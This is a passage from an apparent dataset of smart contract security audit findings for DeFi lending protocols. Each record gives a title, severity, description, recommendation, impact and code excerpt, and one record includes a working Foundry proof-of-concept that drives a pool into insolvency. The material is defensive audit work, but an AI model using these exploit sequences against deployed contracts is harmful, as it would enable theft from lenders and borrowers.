uint8(NFTTypes.STANDARD_ERC721)){\\n _transferNFT(address(this), toAddress_, tokenId);\\n }\\n else if (nftType == uint8(NFTTypes.CRYPTOKITTIES)) {\\n ICryptoKitties(_getArgAddress(COLLATERAL_ADDRESS)).transfer(toAddress_, tokenId);\\n }\\n else {\\n ICryptoPunks(_getArgAddress(COLLATERAL_ADDRESS)).transferPunk(toAddress_, tokenId);\\n }\\n\\n tokensTransferred[i] = tokenId;\\n\\n unchecked { ++i; }\\n}\\n```\\n\\nnote if the NFT address is classified as either crypto kitties or crypto fighers, then the NFT type is classified as CryptoKitties, then transfer and transferFrom method is triggered.\\n```\\nif (nftType == uint8(NFTTypes.CRYPTOKITTIES)) {\\n ICryptoKitties(_getArgAddress(COLLATERAL_ADDRESS)).transferFrom(msg.sender ,address(this), tokenId);\\n }\\n```\\n\\nand\\n```\\nelse if (nftType == uint8(NFTTypes.CRYPTOKITTIES)) {\\n ICryptoKitties(_getArgAddress(COLLATERAL_ADDRESS)).transfer(toAddress_, tokenId);\\n}\\n```\\n\\nHowever, in both crypto-kitty and in crypto-figher NFT, the transfer and transferFrom method can be paused.\\nIn crypto-figher NFT:\\n```\\nfunction transferFrom(\\n address _from,\\n address _to,\\n uint256 _tokenId\\n)\\n public\\n whenNotPaused\\n{\\n```\\n\\nIn Crypto-kitty NFT:\\n```\\nfunction transferFrom(\\n address _from,\\n address _to,\\n uint256 _tokenId\\n)\\n external\\n whenNotPaused\\n{\\n```\\n\\nnote the WhenNotPaused modifier. | Issue CryptoKitty and CryptoFighter NFT can be paused, which block borrowing / repaying / liquidating action in the ERC721Pool when borrowers still forced to pay the compounding interest\\nInterest should not be charged when external contract is paused to borrower when the external contract pause the transfer and transferFrom. | If the transfer and transferFrom is paused in CryptoKitty and CryptoFighter NFT, the borrowing and repaying and liquidating action is blocked in ERC721Pool, the user cannot fully clear his debt and has to pay the compounding interest when the transfer is paused. | ```\\nNFTTypes nftType;\\n// CryptoPunks NFTs\\nif (collateral_ == 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB ) {\\n nftType = NFTTypes.CRYPTOPUNKS;\\n}\\n// CryptoKitties and CryptoFighters NFTs\\nelse if (collateral_ == 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d || collateral_ == 0x87d598064c736dd0C712D329aFCFAA0Ccc1921A1) {\\n nftType = NFTTypes.CRYPTOKITTIES;\\n}\\n// All other NFTs that support the EIP721 standard\\nelse {\\n // Here 0x80ac58cd is the ERC721 interface Id\\n // Neither a standard NFT nor a non-standard supported NFT(punk, kitty or fighter)\\n try IERC165(collateral_).supportsInterface(0x80ac58cd) returns (bool supportsERC721Interface) {\\n if (!supportsERC721Interface) revert NFTNotSupported();\\n } catch {\\n revert NFTNotSupported();\\n }\\n\\n nftType = NFTTypes.STANDARD_ERC721;\\n}\\n```\\n |
`moveQuoteToken()` can cause bucket to go bankrupt but it is not reflected in the accounting | high | Both `removeQuoteToken()` and `moveQuoteToken()` can be used to completely remove all quote tokens from a bucket. When this happens, if at the same time `bucketCollateral == 0 && lpsRemaining != 0`, then the bucket should be declared bankrupt. This update is done in `removeQuoteToken()` but not in `moveQuoteToken()`.\\n`removeQuoteToken()` has the following check to update bankruptcy time when collateral and quote token remaining is 0, but lps is more than 0. `moveQuoteToken()` is however missing this check. Both this functions has the same effects on the `fromBucket` and the only difference is that `removeQuoteToken()` returns the token to `msg.sender` but `moveQuoteToken()` moves the token to another bucket.\\n```\\nif (removeParams.bucketCollateral == 0 && unscaledRemaining == 0 && lpsRemaining != 0) {\\n emit BucketBankruptcy(params_.index, lpsRemaining);\\n bucket.lps = 0;\\n bucket.bankruptcyTime = block.timestamp;\\n} else {\\n bucket.lps = lpsRemaining;\\n}\\n```\\n | Issue `moveQuoteToken()` can cause bucket to go bankrupt but it is not reflected in the accounting\\nWe should check if a bucket is bankrupt after moving quote tokens. | A future depositor to the bucket will get less lps than expected due to depositing in a bucket that is supposedly bankrupt, hence the lps they get will be diluted with the existing ones in the bucket. | ```\\nif (removeParams.bucketCollateral == 0 && unscaledRemaining == 0 && lpsRemaining != 0) {\\n emit BucketBankruptcy(params_.index, lpsRemaining);\\n bucket.lps = 0;\\n bucket.bankruptcyTime = block.timestamp;\\n} else {\\n bucket.lps = lpsRemaining;\\n}\\n```\\n |
The deposit / withdraw / trade transaction lack of expiration timestamp check and slippage control | high | The deposit / withdraw / trade transaction lack of expiration timestamp and slippage control\\nLet us look into the heavily forked Uniswap V2 contract addLiquidity function implementation\\n```\\n// **** ADD LIQUIDITY ****\\nfunction _addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin\\n) internal virtual returns (uint amountA, uint amountB) {\\n // create the pair if it doesn't exist yet\\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\\n }\\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\\n if (reserveA == 0 && reserveB == 0) {\\n (amountA, amountB) = (amountADesired, amountBDesired);\\n } else {\\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\\n if (amountBOptimal <= amountBDesired) {\\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\\n (amountA, amountB) = (amountADesired, amountBOptimal);\\n } else {\\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\\n assert(amountAOptimal <= amountADesired);\\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\\n (amountA, amountB) = (amountAOptimal, amountBDesired);\\n }\\n }\\n}\\n\\nfunction addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {\\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);\\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\\n TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);\\n TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);\\n liquidity = IUniswapV2Pair(pair).mint(to);\\n}\\n```\\n\\nthe implementation has two point that worth noting,\\nthe first point is the deadline check\\n```\\nmodifier ensure(uint deadline) {\\n require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');\\n _;\\n}\\n```\\n\\nThe transaction can be pending in mempool for a long and the trading activity is very time senstive. Without deadline check, the trade transaction can be executed in a long time after the user submit the transaction, at that time, the trade can be done in a sub-optimal price, which harms user's position.\\nThe deadline check ensure that the transaction can be executed on time and the expired transaction revert.\\nthe second point is the slippage control:\\n```\\nrequire(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\\n```\\n\\nand\\n```\\nrequire(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\\n```\\n\\nthe slippage control the user can receive the least optimal amount of the token they want to trade.\\nIn the current implementation, neither the deadline check nor the slippage control is in place when user deposit / withdraw / trade. | Issue The deposit / withdraw / trade transaction lack of expiration timestamp check and slippage control\\nWe recommend the protocol add deadline check and add slippage control. | According to the whitepaper:\\nDeposits in the highest priced buckets offer the highest valuations on collateral, and hence offer the most liquidity to borrowers. They are also the first buckets that could be used to purchase collateral if a loan were to be liquidated (see 7.0 LIQUIDATIONS). We can think of a bucket's deposit as being utilized if the sum of all deposits in buckets priced higher than it is less than the total debt of all borrowers in the pool. The lowest price among utilized buckets or “lowest utilized price” is called the LUP. If we were to pair off lenders with borrowers, matching the highest priced lenders' deposits with the borrowers' debts in equal quantities, the LUP would be the price of the marginal (lowest priced and therefore least aggressive) lender thus matched (usually, there would be a surplus of lenders that were not matched, corresponding to less than 100% utilization of the pool).\\nThe LUP plays a critical role in Ajna: a borrower who is undercollateralized with respect to the LUP (i.e. with respect to the marginal utilized lender) is eligible for liquidation. Conversely, a lender cannot withdraw deposit if doing so would move the LUP down so far as to make some active loans eligible for liquidation. In order to withdraw quote token in this situation, the lender must first kick the loans in question.\\nBecause the deadline check is missing,\\nAfter a lender submit a transaction and want to add the token into Highest price busket to make sure the quote token can be borrowed out and generate yield.\\nHowever, the transaction is pending in the mempool for a very long time.\\nBorrower create more debt and other lender's add and withdraw quote token before the lender's transaction is executed.\\nAfter a long time later, the lender's transaction is executed.\\nThe lender find out that the highest priced bucket moved and the lender cannot withdraw his token because doing would move the LUP down eligible for liquidiation.\\nAccording to the whitepaper:\\n6.1 Trading collateral for quote token\\nDavid owns 1 ETH, and would like to sell it for 1100 DAI. He puts the 1 ETH into the 1100 bucket as claimable collateral (alongside Carol's 20000 deposit), minting 1100 in LPB in return. He can then redeem that 1100 LPB for quote token, withdrawing 1100 DAI. Note: after David's withdrawal, the LUP remains at 1100. If the book were different such that his withdrawal would move the LUP below Bob's threshold price of 901.73, he would not be able to withdraw all of the DAI.\\nThe case above is ideal, however, because the deadline check is missing, and there is no slippage control, the transactoin can be pending for a long time and by the time the trade transaction is lended, the withdraw amount can be less than 1100 DAI.\\nAnother example for lack of slippage, for example, the function below is called:\\n```\\n/// @inheritdoc IPoolLenderActions\\nfunction removeQuoteToken(\\n uint256 maxAmount_,\\n uint256 index_\\n) external override nonReentrant returns (uint256 removedAmount_, uint256 redeemedLPs_) {\\n _revertIfAuctionClearable(auctions, loans);\\n\\n PoolState memory poolState = _accruePoolInterest();\\n\\n _revertIfAuctionDebtLocked(deposits, poolBalances, index_, poolState.inflator);\\n\\n uint256 newLup;\\n (\\n removedAmount_,\\n redeemedLPs_,\\n newLup\\n ) = LenderActions.removeQuoteToken(\\n buckets,\\n deposits,\\n poolState,\\n RemoveQuoteParams({\\n maxAmount: maxAmount_,\\n index: index_,\\n thresholdPrice: Loans.getMax(loans).thresholdPrice\\n })\\n );\\n\\n // update pool interest rate state\\n _updateInterestState(poolState, newLup);\\n\\n // move quote token amount from pool to lender\\n _transferQuoteToken(msg.sender, removedAmount_);\\n}\\n```\\n\\nwithout specificing the minReceived amount, the removedAmount can be very small comparing to the maxAmount user speicifced. | ```\\n// **** ADD LIQUIDITY ****\\nfunction _addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin\\n) internal virtual returns (uint amountA, uint amountB) {\\n // create the pair if it doesn't exist yet\\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\\n }\\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\\n if (reserveA == 0 && reserveB == 0) {\\n (amountA, amountB) = (amountADesired, amountBDesired);\\n } else {\\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\\n if (amountBOptimal <= amountBDesired) {\\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\\n (amountA, amountB) = (amountADesired, amountBOptimal);\\n } else {\\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\\n assert(amountAOptimal <= amountADesired);\\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\\n (amountA, amountB) = (amountAOptimal, amountBDesired);\\n }\\n }\\n}\\n\\nfunction addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {\\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);\\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\\n TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);\\n TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);\\n liquidity = IUniswapV2Pair(pair).mint(to);\\n}\\n```\\n |
Adversary can grief kicker by frontrunning kickAuction call with a large amount of loan | medium | Average debt size of the pool is used to calculated MOMP (Most optimistic matching price), which is used to derive NP (neutral price). Higher average debt size will result in lower MOMP and hence lower NP which will make it harder for kicker to earn a reward and more likely that the kicker is penalized. An adversary can manipulate the average debt size of the pool by frontrunning kicker's `kickAuction` call with a large amount of loan.\\nNP (neutral price) is a price that will be used to decide whether to reward a kicker with a bonus or punish the kicker with a penalty. In the event the auction ends with a price higher than NP, kicker will be given a penalty and if the auction ends with a price lower than NP, kicker will be rewarded with a bonus.\\nNP is derived from MOMP (Most optimistic matching price). BI refers to borrower inflator. Quoted from the whitepaper page 17, When a loan is initiated (the first debt or additional debt is drawn, or collateral is removed from the loan), the neutral price is set to the current MOMP times the ratio of the loan's threshold price to the LUP, plus one year's interest. As time passes, the neutral price increases at the same rate as interest. This can be expressed as the following formula for the neutral price as a function of time 𝑡, where 𝑠 is the time the loan is initiated.\\n```\\n NP_t = (1 + rate_s) * MOMP_s * TP_s * \\frac{TP_s}{LUP_s} * \\frac{BI_s}{BI_t}\\n```\\n\\nTherefore the lower the MOMP, the lower the NP. Lower NP will mean that kicker will be rewarded less and punished more compared to a higher NP. Quoted from the white paper, The MOMP, or “most optimistic matching price,” is the price at which a loan of average size would match with the most favorable lenders on the book. Technically, it is the highest price for which the amount of deposit above it exceeds the average loan debt of the pool. In `_kick` function, MOMP is calculated as this. Notice how total pool debt is divided by number of loans to find the average loan debt size.\\n```\\n uint256 momp = _priceAt(\\n Deposits.findIndexOfSum(\\n deposits_,\\n Maths.wdiv(poolState_.debt, noOfLoans * 1e18)\\n )\\n );\\n```\\n\\nAn adversary can frontrun `kickAuction` by taking a huge loan, causing the price for which the amount of deposit above the undercollaterized loan bucket to have a lower probability of surpassing the average loan debt. The adversary can use the deposits for the buckets above and the total pool debt to figure out how much loan is necessary to grief the kicker significantly by lowering the MOMP and NP. | Recommend taking the snapshot average loan size of the pool to prevent frontrunning attacks. | Kickers can be grieved which can disincentivize user from kicking loans that deserve to be liquidated, causing the protocol to not work as desired as undercollaterized loans will not be liquidated. | ```\\n NP_t = (1 + rate_s) * MOMP_s * TP_s * \\frac{TP_s}{LUP_s} * \\frac{BI_s}{BI_t}\\n```\\n |
Auction timers following liquidity can fall through the floor price causing pool insolvency | medium | When a borrower cannot pay their debt in an ERC20 pool, their position is liquidated and their assets enter an auction for other users to purchase small pieces of their assets. Because of the incentive that users wish to not pay above the standard market price for a token, users will generally wait until assets on auction are as cheap as possible to purchase however, this is flawed because this guarantees a loss for all lenders participating in the protocol with each user that is liquidated.\\nConsider a situation where a user decides to short a coin through a loan and refuses to take the loss to retain the value of their position. When the auction is kicked off using the `kick()` function on this user, as time moves forward, the price for puchasing these assets becomes increasingly cheaper. These prices can fall through the floor price of the lending pool which will allow anybody to buy tokens for only a fraction of what they were worth originally leading to a state where the pool cant cover the debt of the user who has not paid their loan back with interest. The issue lies in the `_auctionPrice()` function of the `Auctions.sol` contract which calculates the price of the auctioned assets for the taker. This function does not consider the floor price of the pool. The proof of concept below outlines this scenario:\\nProof of Concept:\\n```\\n function testInsolvency() public {\\n \\n // ============== Setup Scenario ==============\\n uint256 interestRateOne = 0.05 * 10**18; // Collateral // Quote (loaned token, short position)\\n address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);\\n ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));\\n vm.label(poolThreeAddr, "DAI / WETH Pool Three");\\n\\n // Setup scenario and send liquidity providers some tokens\\n vm.startPrank(address(daiDoner));\\n dai.transfer(address(charlie), 3200 ether);\\n vm.stopPrank();\\n\\n vm.startPrank(address(wethDoner));\\n weth.transfer(address(bob), 1000 ether);\\n vm.stopPrank();\\n\\n // ==============================================\\n\\n\\n // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,\\n // so this would be a popular bucket to deposit in.\\n\\n // Start Scenario\\n // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)\\n uint256 fenwick = 5635;\\n\\n vm.startPrank(address(alice));\\n weth.deposit{value: 2 ether}();\\n weth.approve(address(poolThree), 2.226 ether);\\n poolThree.addQuoteToken(2 ether, fenwick); \\n vm.stopPrank();\\n\\n vm.startPrank(address(bob));\\n weth.deposit{value: 9 ether}();\\n weth.approve(address(poolThree), 9 ether);\\n poolThree.addQuoteToken(9 ether, fenwick); \\n vm.stopPrank();\\n\\n assertEq(weth.balanceOf(address(poolThree)), 11 ether);\\n\\n\\n // ======================== start testing ========================\\n\\n vm.startPrank(address(bob));\\n bytes32 poolSubsetHashes = keccak256("ERC20_NON_SUBSET_HASH");\\n IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({\\n recipient: address(bob),\\n pool: address(poolThree),\\n poolSubsetHash: poolSubsetHashes\\n });\\n positionManager.mint(mp);\\n positionManager.setApprovalForAll(address(rewardsManager), true);\\n rewardsManager.stake(1);\\n vm.stopPrank();\\n\\n\\n assertEq(dai.balanceOf(address(charlie)), 3200 ether);\\n vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens\\n dai.approve(address(poolThree), 3200 ether);\\n poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);\\n vm.stopPrank();\\n\\n vm.warp(block.timestamp + 62 days);\\n\\n\\n vm.startPrank(address(bob));\\n weth.deposit{value: 0.5 ether}();\\n weth.approve(address(poolThree), 0.5 ether);\\n poolThree.kick(address(charlie)); // Kick off liquidation\\n vm.stopPrank();\\n\\n vm.warp(block.timestamp + 10 hours);\\n\\n assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether\\n\\n\\n vm.startPrank(address(bob));\\n // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether, address(bob), "");\\n \\n poolThree.settle(address(charlie), 100);\\n vm.stopPrank();\\n\\n\\n assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. \\n assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit\\n\\n\\n vm.warp(block.timestamp + 2 hours);\\n // users attempt to withdraw after shaken by a liquidation\\n vm.startPrank(address(alice));\\n poolThree.removeQuoteToken(2 ether, fenwick);\\n vm.stopPrank();\\n\\n vm.startPrank(address(bob));\\n poolThree.removeQuoteToken(9 ether, fenwick);\\n vm.stopPrank();\\n\\n assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether\\n assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether\\n\\n }\\n```\\n | It's recommended that the price of the assets on auction consider the fenwick(s) being used when determining the price of assets on loan and do not fall below that particular index. With this fix in place, the worst case scenario is that lenders can pruchase these assets for the price they were loaned out for allowing them to recover the loss. | An increase in borrowers who cant pay their debts back will result in a loss for all lenders. | ```\\n function testInsolvency() public {\\n \\n // ============== Setup Scenario ==============\\n uint256 interestRateOne = 0.05 * 10**18; // Collateral // Quote (loaned token, short position)\\n address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);\\n ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));\\n vm.label(poolThreeAddr, "DAI / WETH Pool Three");\\n\\n // Setup scenario and send liquidity providers some tokens\\n vm.startPrank(address(daiDoner));\\n dai.transfer(address(charlie), 3200 ether);\\n vm.stopPrank();\\n\\n vm.startPrank(address(wethDoner));\\n weth.transfer(address(bob), 1000 ether);\\n vm.stopPrank();\\n\\n // ==============================================\\n\\n\\n // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,\\n // so this would be a popular bucket to deposit in.\\n\\n // Start Scenario\\n // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)\\n uint256 fenwick = 5635;\\n\\n vm.startPrank(address(alice));\\n weth.deposit{value: 2 ether}();\\n weth.approve(address(poolThree), 2.226 ether);\\n poolThree.addQuoteToken(2 ether, fenwick); \\n vm.stopPrank();\\n\\n vm.startPrank(address(bob));\\n weth.deposit{value: 9 ether}();\\n weth.approve(address(poolThree), 9 ether);\\n poolThree.addQuoteToken(9 ether, fenwick); \\n vm.stopPrank();\\n\\n assertEq(weth.balanceOf(address(poolThree)), 11 ether);\\n\\n\\n // ======================== start testing ========================\\n\\n vm.startPrank(address(bob));\\n bytes32 poolSubsetHashes = keccak256("ERC20_NON_SUBSET_HASH");\\n IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({\\n recipient: address(bob),\\n pool: address(poolThree),\\n poolSubsetHash: poolSubsetHashes\\n });\\n positionManager.mint(mp);\\n positionManager.setApprovalForAll(address(rewardsManager), true);\\n rewardsManager.stake(1);\\n vm.stopPrank();\\n\\n\\n assertEq(dai.balanceOf(address(charlie)), 3200 ether);\\n vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens\\n dai.approve(address(poolThree), 3200 ether);\\n poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);\\n vm.stopPrank();\\n\\n vm.warp(block.timestamp + 62 days);\\n\\n\\n vm.startPrank(address(bob));\\n weth.deposit{value: 0.5 ether}();\\n weth.approve(address(poolThree), 0.5 ether);\\n poolThree.kick(address(charlie)); // Kick off liquidation\\n vm.stopPrank();\\n\\n vm.warp(block.timestamp + 10 hours);\\n\\n assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether\\n\\n\\n vm.startPrank(address(bob));\\n // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n weth.approve(address(poolThree), 1000 ether);\\n poolThree.take(address(charlie), 1000 ether, address(bob), "");\\n \\n poolThree.settle(address(charlie), 100);\\n vm.stopPrank();\\n\\n\\n assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. \\n assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit\\n\\n\\n vm.warp(block.timestamp + 2 hours);\\n // users attempt to withdraw after shaken by a liquidation\\n vm.startPrank(address(alice));\\n poolThree.removeQuoteToken(2 ether, fenwick);\\n vm.stopPrank();\\n\\n vm.startPrank(address(bob));\\n poolThree.removeQuoteToken(9 ether, fenwick);\\n vm.stopPrank();\\n\\n assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether\\n assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether\\n\\n }\\n```\\n |
Incorrect MOMP calculation in neutral price calculation | medium | When calculating MOMP to find the neutral price of a borrower, borrower's accrued debt is divided by the total number of loans in the pool, but it's total pool's debt that should be divided. The mistake will result in lower neutral prices and more lost bonds to kickers.\\nAs per the whitepaper:\\nMOMP: is the price at which the amount of deposit above it is equal to the average loan size of the pool. MOMP is short for “Most Optimistic Matching Price”, as it's the price at which a loan of average size would match with the most favorable lenders on the book.\\nI.e. MOMP is calculated on the total number of loans of a pool (so that the average loan size could be found).\\nMOMP calculation is implemented correctly when kicking a debt, however it's implementation in the Loans.update function is not correct:\\n```\\nuint256 loansInPool = loans_.loans.length - 1 + auctions_.noOfAuctions;\\nuint256 curMomp = _priceAt(Deposits.findIndexOfSum(deposits_, Maths.wdiv(borrowerAccruedDebt_, loansInPool * 1e18)));\\n```\\n\\nHere, only borrower's debt (borrowerAccruedDebt_) is divided, not the entire debt of the pool. | Issue Incorrect MOMP calculation in neutral price calculation\\nConsider using total pool's debt in the MOMP calculation in `Loans.update`. | The miscalculation affects only borrower's neutral price calculation. Since MOMP is calculated on a smaller debt (borrower's debt will almost always be smaller than total pool's debt), the value of MOMP will be smaller than expected, and the neutral price will also be smaller (from the whitepaper: "The NP of a loan is the interest-adjusted MOMP..."). This will cause kickers to lose their bonds more often than expected, as per the whitepaper:\\nIf the liquidation auction yields a value that is over the “Neutral Price,” NP, the kicker forfeits a portion or all of their bond. | ```\\nuint256 loansInPool = loans_.loans.length - 1 + auctions_.noOfAuctions;\\nuint256 curMomp = _priceAt(Deposits.findIndexOfSum(deposits_, Maths.wdiv(borrowerAccruedDebt_, loansInPool * 1e18)));\\n```\\n |
Lender force Loan become default | high | in `repay()` directly transfer the debt token to Lender, but did not consider that Lender can not accept the token (in contract blacklist), resulting in `repay()` always revert, and finally the Loan can only expire, Loan be default\\nThe only way for the borrower to get the collateral token back is to repay the amount owed via repay(). Currently in the repay() method transfers the debt token directly to the Lender. This has a problem: if the Lender is blacklisted by the debt token now, the debtToken.transferFrom() method will fail and the repay() method will always fail and finally the Loan will default. Example: Assume collateral token = ETH,debt token = USDC, owner = alice 1.alice call request() to loan 2000 usdc , duration = 1 mon 2.bob call clear(): loanID =1 3.bob transfer loan[1].lender = jack by Cooler.approve/transfer\\nNote: jack has been in USDC's blacklist for some reason before or bob in USDC's blacklist for some reason now, it doesn't need transfer 'lender') 4.Sometime before the expiration date, alice call repay(id=1) , it will always revert, Because usdc.transfer(jack) will revert 5.after 1 mon, loan[1] default, jack call defaulted() get collateral token\\n```\\n function repay (uint256 loanID, uint256 repaid) external {\\n Loan storage loan = loans[loanID];\\n// rest of code\\n debt.transferFrom(msg.sender, loan.lender, repaid); //***<------- lender in debt token's blocklist will revert , example :debt = usdc\\n collateral.transfer(owner, decollateralized);\\n }\\n```\\n | Instead of transferring the debt token directly, put the debt token into the Cooler.sol and set like: withdrawBalance[lender]+=amount, and provide the method withdraw() for lender to get debtToken back | Lender forced Loan become default for get collateral token, owner lost collateral token | ```\\n function repay (uint256 loanID, uint256 repaid) external {\\n Loan storage loan = loans[loanID];\\n// rest of code\\n debt.transferFrom(msg.sender, loan.lender, repaid); //***<------- lender in debt token's blocklist will revert , example :debt = usdc\\n collateral.transfer(owner, decollateralized);\\n }\\n```\\n |
`Cooler.roll()` wouldn't work as expected when `newCollateral = 0`. | medium | `Cooler.roll()` is used to increase the loan duration by transferring the additional collateral.\\nBut there will be some problems when `newCollateral = 0`.\\n```\\n function roll (uint256 loanID) external {\\n Loan storage loan = loans[loanID];\\n Request memory req = loan.request;\\n\\n if (block.timestamp > loan.expiry) \\n revert Default();\\n\\n if (!loan.rollable)\\n revert NotRollable();\\n\\n uint256 newCollateral = collateralFor(loan.amount, req.loanToCollateral) - loan.collateral;\\n uint256 newDebt = interestFor(loan.amount, req.interest, req.duration);\\n\\n loan.amount += newDebt;\\n loan.expiry += req.duration;\\n loan.collateral += newCollateral;\\n \\n collateral.transferFrom(msg.sender, address(this), newCollateral); //@audit 0 amount\\n }\\n```\\n\\nIn `roll()`, it transfers the `newCollateral` amount of collateral to the contract.\\nAfter the borrower repaid most of the debts, `loan.amount` might be very small and `newCollateral` for the original interest might be 0 because of the rounding issue.\\nThen as we can see from this one, some tokens might revert for 0 amount and `roll()` wouldn't work as expected. | I think we should handle it differently when `newCollateral = 0`.\\nAccording to impact 2, I think it would be good to revert when `newCollateral = 0`. | There will be 2 impacts.\\nWhen the borrower tries to extend the loan using `roll()`, it will revert with the weird tokens when `newCollateral = 0`.\\nAfter the borrower noticed he couldn't repay anymore(so the lender will default the loan), the borrower can call `roll()` again when `newCollateral = 0`. In this case, the borrower doesn't lose anything but the lender must wait for `req.duration` again to default the loan. | ```\\n function roll (uint256 loanID) external {\\n Loan storage loan = loans[loanID];\\n Request memory req = loan.request;\\n\\n if (block.timestamp > loan.expiry) \\n revert Default();\\n\\n if (!loan.rollable)\\n revert NotRollable();\\n\\n uint256 newCollateral = collateralFor(loan.amount, req.loanToCollateral) - loan.collateral;\\n uint256 newDebt = interestFor(loan.amount, req.interest, req.duration);\\n\\n loan.amount += newDebt;\\n loan.expiry += req.duration;\\n loan.collateral += newCollateral;\\n \\n collateral.transferFrom(msg.sender, address(this), newCollateral); //@audit 0 amount\\n }\\n```\\n |
Loan is rollable by default | medium | Making the loan rollable by default gives an unfair early advantage to the borrowers.\\nWhen clearing a new loan, the flag of `rollable` is set to true by default:\\n```\\n loans.push(\\n Loan(req, req.amount + interest, collat, expiration, true, msg.sender)\\n );\\n```\\n\\nThis means a borrower can extend the loan anytime before the expiry:\\n```\\n function roll (uint256 loanID) external {\\n Loan storage loan = loans[loanID];\\n Request memory req = loan.request;\\n\\n if (block.timestamp > loan.expiry) \\n revert Default();\\n\\n if (!loan.rollable)\\n revert NotRollable();\\n```\\n\\nIf the lenders do not intend to allow rollable loans, they should separately toggle the status to prevent that:\\n```\\n function toggleRoll(uint256 loanID) external returns (bool) {\\n // rest of code\\n loan.rollable = !loan.rollable;\\n // rest of code\\n }\\n```\\n\\nI believe it gives an unfair advantage to the borrower because they can re-roll the loan before the lender's transaction forbids this action. | I believe `rollable` should be set to false by default or at least add an extra function parameter to determine the initial value of this status. | Lenders who do not want the 